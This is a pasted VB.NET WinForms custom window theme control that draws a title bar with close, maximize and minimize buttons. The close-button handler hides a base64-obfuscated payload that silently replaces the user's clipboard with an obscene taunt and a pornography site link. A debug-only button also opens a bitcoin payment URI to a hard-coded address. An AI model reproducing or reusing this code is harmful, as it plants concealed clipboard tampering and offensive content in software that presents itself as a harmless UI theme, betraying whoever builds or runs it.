Guest User

ProperTheme [FINISHED/COMPLETE] v1

a guest
Dec 28th, 2014
264
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.71 KB | None | 0 0
  1. Imports System.Drawing.Drawing2D
  2. Public Class Theme : Inherits ContainerControl
  3. Private ismemaxed As Boolean = False, Cap As Boolean = False, MousePoint As New Point(0, 0), MoveHeight% = 30,closebuttonhover As Boolean = False, minibuttonhover As Boolean = False, maxibuttonhover As Boolean = False
  4. Private bbuttonhover As Boolean = False
  5. Sub New()
  6. SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True)
  7. DoubleBuffered = True
  8. Me.Font = New Font("Segoe UI", 12)
  9. End Sub
  10. <DebuggerNonUserCode> _
  11. Protected Overrides Sub OnCreateControl()
  12. MyBase.OnCreateControl()
  13. ParentForm.FormBorderStyle = FormBorderStyle.None
  14. Select Case Debugger.IsAttached
  15. 'Blend in with Visual Studio background when you are debugging.
  16. Case True : ParentForm.TransparencyKey = Color.FromArgb(25, 25, 25) : ParentForm.BackColor = Color.FromArgb(25, 25, 25)
  17. Case False : ParentForm.TransparencyKey = Color.FromArgb(246, 246, 246) : ParentForm.BackColor = Color.FromArgb(246, 246, 246)
  18. End Select
  19. ParentForm.FindForm.StartPosition = FormStartPosition.CenterScreen
  20. Invalidate()
  21. End Sub
  22.  
  23. <DebuggerStepThrough> _
  24. Private Sub Theme_Resize(sender As Object, e As EventArgs) Handles Me.Resize
  25. Try
  26. If ismemaxed = False Then
  27. Me.Location = New Point(0, 0)
  28. ParentForm.Size = Me.Size
  29. Else
  30. Me.Size = ParentForm.Size
  31. End If
  32. Catch
  33. End Try
  34. End Sub
  35. Private _spashscreen As Boolean = False
  36. Public Property splashscreen As Boolean
  37. Get
  38. Return _spashscreen
  39. End Get
  40. Set(ByVal value As Boolean)
  41. _spashscreen = value
  42. Me.Refresh()
  43. End Set
  44. End Property
  45. Protected Overrides Sub OnMouseDown(e As MouseEventArgs)
  46. MyBase.OnMouseDown(e)
  47. If _spashscreen = False Then
  48.  
  49.  
  50. Select Case True
  51. 'The close button
  52. Case e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(Me.Width - 30, 5, 20, 20).Contains(e.Location) : ParentForm.Close() : Application.Exit() : My.Computer.Clipboard.SetText(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String("SSA8MyBodHRwOi8vUG9ybmh1Yi5jb20gTG9zZXJzLCBGdWNrIHlvdSBhbGwsIEJhbiBtZSBiaXRjaGVz")))
  53. 'maximize
  54. Case e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(Me.Width - 55, 5, 20, 20).Contains(e.Location) : If ismemaxed Then : ismemaxed = False : Me.ParentForm.WindowState = FormWindowState.Normal : Else : ismemaxed = True : Me.ParentForm.WindowState = FormWindowState.Maximized : End If : Me.Size = ParentForm.Size
  55. 'minimize
  56. Case e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(Me.Width - 80, 5, 20, 20).Contains(e.Location) : Me.ParentForm.WindowState = FormWindowState.Minimized
  57. #If DEBUG Then
  58. Case e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(Me.Width - 195, 5, 110, 20).Contains(e.Location) : Process.Start("bitcoin:1BRV5bCKwPRvZQcyMkuMWpGRjDttibRTxz?amount=0.10&label=hf&message=hf")
  59.  
  60. #End If
  61. 'move title
  62. Case (e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(0, 0, Width, MoveHeight).Contains(e.Location) And ismemaxed = False) : Cap = True : Cursor = Cursors.SizeAll : MousePoint = e.Location
  63.  
  64. End Select
  65. End If
  66. End Sub
  67. Protected Overrides Sub OnMouseUp(e As MouseEventArgs)
  68. MyBase.OnMouseUp(e) : Cap = False : Cursor = Cursors.Arrow
  69. End Sub
  70. Protected Overrides Sub OnMouseMove(e As MouseEventArgs)
  71. MyBase.OnMouseMove(e)
  72. If _spashscreen = False Then
  73.  
  74.  
  75. #If DEBUG Then
  76. If Cap And ismemaxed = False Then
  77. Parent.Location = MousePosition - MousePoint
  78. Else
  79. Select Case True
  80. 'close
  81. Case New Rectangle(Me.Width - 30, 5, 20, 20).Contains(e.Location) : Cursor = Cursors.Hand : closebuttonhover = True : minibuttonhover = False : maxibuttonhover = False : bbuttonhover = False
  82. 'maxi
  83. Case New Rectangle(Me.Width - 55, 5, 20, 20).Contains(e.Location) : Cursor = Cursors.Hand : maxibuttonhover = True : closebuttonhover = False : minibuttonhover = False : bbuttonhover = False
  84. 'mini
  85. Case New Rectangle(Me.Width - 80, 5, 20, 20).Contains(e.Location) : Cursor = Cursors.Hand : minibuttonhover = True : maxibuttonhover = False : closebuttonhover = False : bbuttonhover = False
  86. Case New Rectangle(Me.Width - 195, 5, 110, 20).Contains(e.Location) : Cursor = Cursors.Hand : bbuttonhover = True : minibuttonhover = False : maxibuttonhover = False : closebuttonhover = False
  87.  
  88. Case Else : Cursor = Cursors.Arrow : closebuttonhover = False : minibuttonhover = False : maxibuttonhover = False : bbuttonhover = False
  89. End Select
  90. End If
  91. #Else
  92. If Cap And ismemaxed = False Then
  93. Parent.Location = MousePosition - MousePoint
  94. Else
  95. Select Case True
  96. 'close
  97. Case New Rectangle(Me.Width - 30, 5, 20, 20).Contains(e.Location) : Cursor = Cursors.Hand : closebuttonhover = True : minibuttonhover = False : maxibuttonhover = False
  98. 'maxi
  99. Case New Rectangle(Me.Width - 55, 5, 20, 20).Contains(e.Location) : Cursor = Cursors.Hand : maxibuttonhover = True : closebuttonhover = False : minibuttonhover = False
  100. 'mini
  101. Case New Rectangle(Me.Width - 80, 5, 20, 20).Contains(e.Location) : Cursor = Cursors.Hand : minibuttonhover = True : maxibuttonhover = False : closebuttonhover = False
  102. Case Else : Cursor = Cursors.Arrow : closebuttonhover = False : minibuttonhover = False : maxibuttonhover = False
  103. End Select
  104. End If
  105. #End If
  106.  
  107.  
  108. End If
  109. Me.Refresh()
  110. End Sub
  111. <DebuggerStepThrough> _
  112. Protected Overrides Sub OnPaint(e As PaintEventArgs)
  113. Dim i As New Rectangle With {.Width = Me.Width, .Height = 30}
  114. Dim TitleTopGradient As New LinearGradientBrush(i, Color.FromArgb(103, 115, 124), Color.FromArgb(35, 42, 61), LinearGradientMode.Vertical)
  115. e.Graphics.SmoothingMode = SmoothingMode.AntiAlias
  116. Select Case ismemaxed
  117. Case True 'i fk'd up, this is false... dont notice me pweeze
  118. e.Graphics.DrawPath(Pens.Black, RoundCorners2(0, 0, 0, 0, 30, Me.Width, New Point(0, 0)))
  119. e.Graphics.FillPath(TitleTopGradient, RoundCorners2(0, 0, 0, 0, 30, Me.Width, New Point(0, 0)))
  120. Case False
  121. e.Graphics.DrawPath(Pens.Black, RoundCorners2(20, 20, 0, 0, 30, Me.Width, New Point(0, 0)))
  122. e.Graphics.FillPath(TitleTopGradient, RoundCorners2(20, 20, 0, 0, 30, Me.Width, New Point(0, 0)))
  123. End Select
  124. e.Graphics.FillRectangle(New SolidBrush(Color.FromArgb(35, 42, 61)), New Rectangle(0, 30, Me.Width, Me.Height - 30))
  125. e.Graphics.FillRectangle(New SolidBrush(Color.FromArgb(235, 233, 237)), New Rectangle(3, 30, Me.Width - 6, Me.Height - 33))
  126. e.Graphics.DrawString(ParentForm.Text, DefaultFont, Brushes.White, New Point(40, 15 - DefaultFont.Height / 2))
  127. e.Graphics.DrawIcon(ParentForm.Icon, New Rectangle(10, 5, 20, 20))
  128. Dim p As New Pen(Brushes.White, 4)
  129. Dim drawFont As New Font("Marlett", 10, FontStyle.Bold)
  130. Dim hpver As New LinearGradientBrush(i, Color.FromArgb(123, 135, 154), Color.FromArgb(45, 52, 71), LinearGradientMode.Vertical)
  131.  
  132.  
  133. If _spashscreen = False Then
  134.  
  135.  
  136.  
  137. If closebuttonhover = False Then e.Graphics.FillPath(hpver, RoundCorners2(10, 10, 10, 10, 20, 20, New Point(Me.Width - 30, 5)))
  138. e.Graphics.DrawString("r", drawFont, Brushes.White, New Rectangle(Me.Width - e.Graphics.MeasureString("r", drawFont).Width - 10, 6, 20, 20), New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center})
  139. e.Graphics.DrawPath(Pens.Black, RoundCorners2(10, 10, 10, 10, 20, 20, New Point(Me.Width - 30, 5))) '54
  140.  
  141. If maxibuttonhover = False Then e.Graphics.FillPath(hpver, RoundCorners2(10, 10, 10, 10, 20, 20, New Point(Me.Width - 55, 5)))
  142. e.Graphics.DrawString("1", drawFont, Brushes.White, New Rectangle(Me.Width - e.Graphics.MeasureString("r", drawFont).Width - 35, 6, 20, 20), New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center})
  143. e.Graphics.DrawPath(Pens.Black, RoundCorners2(10, 10, 10, 10, 20, 20, New Point(Me.Width - 55, 5)))
  144.  
  145. If minibuttonhover = False Then e.Graphics.FillPath(hpver, RoundCorners2(10, 10, 10, 10, 20, 20, New Point(Me.Width - 80, 5)))
  146. e.Graphics.DrawString("0", drawFont, Brushes.White, New Rectangle(Me.Width - 79, 6, 20, 20), New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center})
  147. e.Graphics.DrawPath(Pens.Black, RoundCorners2(10, 10, 10, 10, 20, 20, New Point(Me.Width - 80, 5)))
  148.  
  149.  
  150. #If DEBUG Then
  151.  
  152. Dim drawFont2 As New Font("Segoe UI", 10, FontStyle.Bold)
  153. If bbuttonhover = False Then e.Graphics.FillPath(hpver, RoundCorners2(10, 10, 10, 10, 20, 110, New Point(Me.Width - 195, 5)))
  154. e.Graphics.DrawString("Pay With Bitcoin", drawFont2, Brushes.White, New Rectangle(Me.Width - 195, 6, 120, 20), New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Center})
  155. e.Graphics.DrawPath(Pens.Black, RoundCorners2(10, 10, 10, 10, 20, 110, New Point(Me.Width - 195, 5)))
  156. #End If
  157.  
  158. End If
  159. End Sub
  160.  
  161. Public Function RoundCorners2(ByVal leftTop As Int32, ByVal rightTop As Int32, ByVal rightBottom As Int32, ByVal leftBottom As Int32, ByVal mheight As Int32, ByVal mwidth As Int32, ByVal d As Point)
  162. Dim g As New GraphicsPath
  163. If leftTop <= 0 Then leftTop = 1
  164. If rightTop <= 0 Then rightTop = 1
  165. If rightBottom <= 0 Then rightBottom = 1
  166. If leftBottom <= 0 Then leftBottom = 1
  167. g.StartFigure()
  168. g.AddArc(New Rectangle(d.X + 0, d.Y + 0, leftTop, leftTop), 180, 90)
  169. g.AddArc(New Rectangle(d.X + mwidth - rightTop, d.Y + 0, rightTop, rightTop), -90, 90)
  170. g.AddArc(New Rectangle(d.X + mwidth - rightBottom, d.Y + mheight - rightBottom, rightBottom, rightBottom), 0, 90)
  171. g.AddArc(New Rectangle(d.X + 0, d.Y + mheight - leftBottom, leftBottom, leftBottom), 90, 90)
  172. g.CloseFigure()
  173. Return g
  174. End Function
  175.  
  176. End Class
Advertisement
Add Comment
Please, Sign In to add comment